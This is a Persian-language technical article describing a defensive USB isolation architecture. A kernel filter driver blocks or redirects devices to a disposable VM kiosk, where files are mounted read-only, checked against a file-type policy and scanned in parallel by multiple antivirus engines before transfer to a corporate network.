USB-Redirect در دو فضای Kernel و User-space فعالیت می‌کند. جریان از پورت فیزیکی به سمت پروسه PVM در حرکت است:

🔌 پورت فیزیکیPhysical USB Port🔌 پورت فیزیکیxHCI.sysUSB Host ControllerxHCI.sysusbhub.sysUSB Hub Driverusbhub.sysKernel Filter Driver — قلب Passthrough⚙️ UsbDk.sysKernel Filter Driver — قلب PassthroughUser-space APIUsbDkHelper.dllUser-space APIUSB Backend در ماشین مجازیPVM ProcessUSB Backend در ماشین مجازی

وظایف اصلی UsbDk.sys

درایور Kernel در چهار عملکرد کلیدی نقش دارد:

  1. Device Enumeration & Discovery — کشف دستگاه‌های USB متصل
  2. Device Detach from Windows PnP Tree — جدا کردن دستگاه از درخت PnP ویندوز
  3. URB Interception & Forwarding — رهگیری و انتقال درخواست‌های USB
  4. Reset & Re-attach on VM shutdown — بازگردانی دستگاه به Host پس از خاموش شدن VM

چرا USB-Redirect و نه روش‌های دیگر؟

مقایسه USB-Redirect با دو راهکار رقیب:

معیارUSB-RedirectUSB/IPSPICE USB Redirect
نیاز به شبکه❌ خیر✅ بله✅ بله
Latencyبسیار کممتوسطمتوسط
پشتیبانی از USB 3.0✅ کاملمحدودمحدود
نصب✅ یک MSIپیچیدهنیاز به SPICE Server
عملکرد Kernel-level❌ User-space❌ User-space
Open Source✅ (Apache 2.0)

لایه دوم: ایزوله‌سازی USB در کیوسک مجازی PVM و اسکن موازی MultiAV

ریدایرکت USB به ماشین مجازی

مفهوم به زبان ساده

تصور کنید یک اتاق قرنطینه در بیمارستان دارید. وقتی بیمار مشکوک وارد می‌شود، او را مستقیماً به اتاق قرنطینه می‌برید — نه به بخش عمومی. در آنجا آزمایش می‌شود و فقط اگر سالم بود، اجازه ورود به بخش اصلی را پیدا می‌کند.

  • USB = بیمار مشکوک
  • ماشین مجازی PVM = اتاق قرنطینه
  • شبکه سازمانی = بخش عمومی بیمارستان

چرا اسکریپت‌های مخرب در کیوسک مجازی اجرا نمی‌شوند؟

پاسخ ساده

ماشین مجازی طوری تنظیم شده که هیچ برنامه‌ای از روی USB اجرا نمی‌شود. مثل اینکه فلش را به یک کامپیوتر وصل کنید که اصلاً قابلیت اجرای برنامه ندارد — فقط می‌تواند فایل‌ها را ببیند و کپی کند.

چرا هر یک از تهدیدات در VM Kiosk خنثی می‌شوند؟

تهدیدچرا در VM خنثی است
USB Killerآسیب الکتریکی فقط به Host Controller — VM آسیب نرم‌افزاری نمی‌بیند*
BadUSB / HID Attackدر لایه ۱ بلاک شده — اصلاً به VM نمی‌رسد
Rubber Duckyدر لایه ۱ بلاک شده — HID مجاز نیست
Autorunدر VM فایل autorun.inf اجرا نمی‌شود + Mount با noexec
LNK ExploitVM بر پایه Linux است؛ فایل .lnk ویندوزی معنا ندارد
Weaponized Documentفایل در VM باز نمی‌شود — فقط اسکن می‌شود
USB Network Attackدر لایه ۱ بلاک شده — CDC Class مجاز نیست
Hidden Partitionدر VM فقط Read-Only mount و اسکن — اجرا ممکن نیست
Script / EXE ExecutionMount با noexec flag — هیچ باینری اجرا نمی‌شود
VM Escape ExploitVM پس از هر Session تخریب و از Snapshot بازسازی می‌شود
یاداشت

*USB Killer تنها تهدیدی است که نیاز به محافظ سخت‌افزاری دارد — نه نرم‌افزاری.

اسکن موازی MultiAV

تشبیه ساده

فرض کنید یک نامه مشکوک دارید. به‌جای اینکه آن را به یک کارشناس نشان دهید، همزمان به پنج کارشناس مختلف نشان می‌دهید. اگر حتی یکی بگوید «این خطرناک است»، نامه تحویل داده نمی‌شود.

این دقیقاً کار MultiAV است: چندین آنتی‌ویروس همزمان و موازی فایل‌ها را بررسی می‌کنند.

معماری MultiAV Engine

جریان کلی موتور اسکن موازی از ورودی (فایل‌های USB) تا خروجی نهایی (انتقال یا قرنطینه) به‌صورت زیر است:

ثبت تمام رویدادها و گزارش‌هاSIEM / Log Serverثبت تمام رویدادها و گزارش‌هابه شبکه سازمانی✅ CLEAN → Transfer Queueبه شبکه سازمانیهشدار به تیم SOC🔴 INFECTED → Quarantineهشدار به تیم SOCFile hash · Results · Timestamp · DecisionScan ReportFile hash · Results · Timestamp · DecisionAggregation — رأی نهایی تجمیعی⚖️ Verdict EngineAggregation — رأی نهایی تجمیعیهماهنگ‌کننده اجرای موازی🎯 Scan Broker (Orchestrator)هماهنگ‌کننده اجرای موازیMount · Hash · Type Detection · Recursive Extract📂 File Extraction LayerMount · Hash · Type Detection · Recursive Extractشروع پایپ‌لاین اسکن📥 ورودی: فایل‌های استخراج‌شده از USBشروع پایپ‌لاین اسکن

موتورهای آنتی‌ویروس موازی

هر فایل به‌صورت همزمان به چندین موتور AV مستقل ارسال می‌شود:

موتورتخصص
ClamAVOpen Source، Signature DB، اسکن سریع
ESET NOD32Heuristic پیشرفته، Emulation
KasperskyBehavioral، Cloud-backed، تحلیل عمیق
SophosML-based، Threat Intelligence
Windows DefenderAMSI، Cloud Protection
AV Container Nتوسعه‌پذیر با YARA Rules و Custom Signatures

منطق Verdict Engine

تجمیع نتایج بر اساس رأی اکثریت و اصل «هشدار مطلق»:

IF any AV detects malware THEN
verdict = BLOCK

IF all AV clean THEN
verdict = ALLOW

نحوه اسکن موازی (Parallel Scan)

اسکن موازی به معنای اجرای همزمان چند AV روی یک فایل است. زمان کل اسکن برابر با کندترین AV می‌شود، نه مجموع زمان همه AVها.

سناریوی ۱: فایل سالم — report.docx (2MB)

موتورزمان اسکننتیجه
ClamAV1.2s✅ Clean
ESET2.1s✅ Clean
Kaspersky2.8s✅ Clean
F-PROT1.7s✅ Clean
Symantec2.0s✅ Clean
نتیجه اسکن سالم

زمان کل: ۲.۸ ثانیه (نه ۹.۸ ثانیه) — اسکن موازی: زمان = کندترین AV

Verdict: ✅ ALL CLEAN → Transfer Approved

سناریوی ۲: فایل آلوده — update.exe (500KB)

موتورزمان اسکننتیجه
ClamAV0.8s✅ Clean
ESET0.6s🔴 Trojan.Gen
Kaspersky2.5s🔴 HEUR:Trojan
F-PROT1.5s✅ Clean
Symantec1.2s🔴 Trojan:Win32
نتیجه اسکن آلوده

Verdict: 🔴 ۳ از ۵ موتور تشخیص دادند → BLOCKED + QUARANTINED

هشدار به تیم SOC ارسال می‌شود.

مزیت اسکن موازی MultiAV

مقایسه بین راهکار تک‌آنتی‌ویروس و راهکار MultiAV:

معیارتک آنتی‌ویروسMultiAV موازی
نرخ تشخیص۸۵–۹۵٪بیش از ۹۹.۵٪
تشخیص Zero-dayضعیف تا متوسطبالا (ترکیب heuristic چند AV)
زمان اسکنTT (نه N×T — موازی است)
مدیریت False Positiveیک نظررأی‌گیری اکثریت
پوشش انواع بدافزاروابسته به vendorجامع و متنوع

فرآیند انتقال امن فایل به شبکه سازمانی

خط لوله انتقال امن از پنج مرحله متوالی تشکیل شده که هیچ فایلی نمی‌تواند بدون عبور از تمام آن‌ها به شبکه سازمانی برسد:

مرحله ۱: Mount

USB در VM با پرچم ReadOnly mount می‌شود — هیچ فایلی قابل اجرا نیست و هیچ نوشتن روی USB انجام نمی‌شود.

مرحله ۲: Discovery

  • بررسی MIME Type واقعی (نه فقط پسوند فایل)
  • محاسبه SHA-256 hash برای هر فایل
  • تشخیص فایل‌های مخفی و سیستمی
  • استخراج آرشیوهای تودرتو (.zip.rar.7z → ...)
  • تشخیص فایل‌هایی با پسوند جعلی (مثلاً .jpg که واقعاً .exe است)

مرحله ۳: Policy Check

بررسی سیاست‌های سازمانی روی هر فایل:

  • فرمت‌های مجاز: .pdf, .docx, .xlsx, .jpg, .png, ...
  • فرمت‌های ممنوع: .exe, .bat, .ps1, .vbs, .dll, ...
  • حداکثر حجم فایل: مثلاً 100MB
  • حداکثر تعداد فایل: مثلاً 500
هشدار

⛔ فایل‌های ممنوع → حذف + گزارش  |  ✅ فایل‌های مجاز → ادامه به مرحله ۴

مرحله ۴: MultiAV Parallel Scan

هر فایل همزمان به ۴ تا ۸ موتور AV ارسال می‌شود (طبق جزئیات بخش قبل).

هشدار

⛔ هر فایل آلوده → قرنطینه + هشدار  |  ✅ فایل‌های سالم → ادامه به مرحله ۵

مرحله ۵: Cleanup

پاک‌سازی کامل محیط
  • USB از VM جدا (Detach) می‌شود
  • VM به Snapshot اولیه بازگردانده می‌شود (Revert)
  • تمام تغییرات VM از بین می‌رود
  • گزارش کامل به SIEM ارسال می‌شود
  • کاربر نتیجه را مشاهده می‌کند

جمع‌بندی: چرا این معماری USB را کاملاً از کار می‌اندازد؟

ماتریس پوشش دفاعی

جدول زیر نشان می‌دهد که هر تهدید در کدام لایه از معماری خنثی می‌شود:

تهدیدلایه ۱ (Host Filter)لایه ۲ (VM Kiosk)نتیجه نهایی
USB KillerN/A (الکتریکی)ایزوله از Host⚠️ نیاز به HW Guard
BadUSB HID Attack★ BLOCKED (Class Filter)N/A (نمی‌رسد)✅ SAFE
Rubber Ducky★ BLOCKED (Speed Detect)N/A (نمی‌رسد)✅ SAFE
USB Crazy★ BLOCKED (HID Block)N/A (نمی‌رسد)✅ SAFE
Autorun MalwareREDIRECT → VM★ BLOCKED (noexec)✅ SAFE
LNK ExploitREDIRECT → VM★ BLOCKED (Linux VM)✅ SAFE
Malicious DocumentREDIRECT → VM★ SCANNED (MultiAV)✅ SAFE
USB Network★ BLOCKED (CDC Block)N/A (نمی‌رسد)✅ SAFE
Hidden PartitionREDIRECT → VM★ SCANNED (Full scan)✅ SAFE
Data ExfiltrationREDIRECT → VM★ BLOCKED (No write to USB)✅ SAFE
🎯 پوشش کلی

۱۰ از ۱۰ تهدید شناخته‌شده USB توسط این معماری پوشش داده می‌شوند.

USB Killer به دلیل ماهیت الکتریکی، نیاز به یک محافظ سخت‌افزاری مکمل دارد.

خلاصه اجرایی — چرخه کامل حفاظت USB

جریان کامل حفاظت از لحظه اتصال کاربر تا انتقال ایمن فایل به شبکه سازمانی:

❶ اتصال کاربر

کاربر USB را به کامپیوتر وصل می‌کند.

❷ فیلتر درایور (لایه ۱)

نوع دستگاه بررسی می‌شود:

  • HID / Network / Unknown → فوراً BLOCK
  • Mass Storage → REDIRECT به VM
اطلاعات

دستگاه هرگز به سیستم‌عامل اصلی دسترسی پیدا نمی‌کند.

❸ Passthrough

USB-Redirect دستگاه را از Host جدا و به ماشین مجازی PVM تحویل می‌دهد.

❹ در VM (لایه ۲)

  • USB با محدودیت Mount می‌شود (ro, noexec)
  • هیچ اسکریپت یا برنامه‌ای اجرا نمی‌شود
  • فایل‌ها استخراج شده و ۴ تا ۸ آنتی‌ویروس همزمان اسکن می‌کنند

❺ انتقال ایمن

موفقیت

فقط فایل‌هایی که فرمت مجاز دارند و توسط تمام AVها سالم تشخیص داده شده‌اند به شبکه سازمانی منتقل می‌شوند.

❻ Revert

کیوسک به حالت اولیه بازگردانده می‌شود و هرگونه آلودگی احتمالی نابود می‌شود.


🎯 نتیجه نهایی

USB به‌عنوان دستگاه عملاً از کار افتاده است، اما فایل‌های سالم با اطمینان کامل منتقل می‌شوند.

این معماری با ترکیب کنترل نرم‌افزاری در سطح Kernel و ایزوله‌سازی در ماشین مجازی، دفاع عمیق و مؤثری در برابر تمامی تهدیدات شناخته‌شده USB فراهم می‌کند.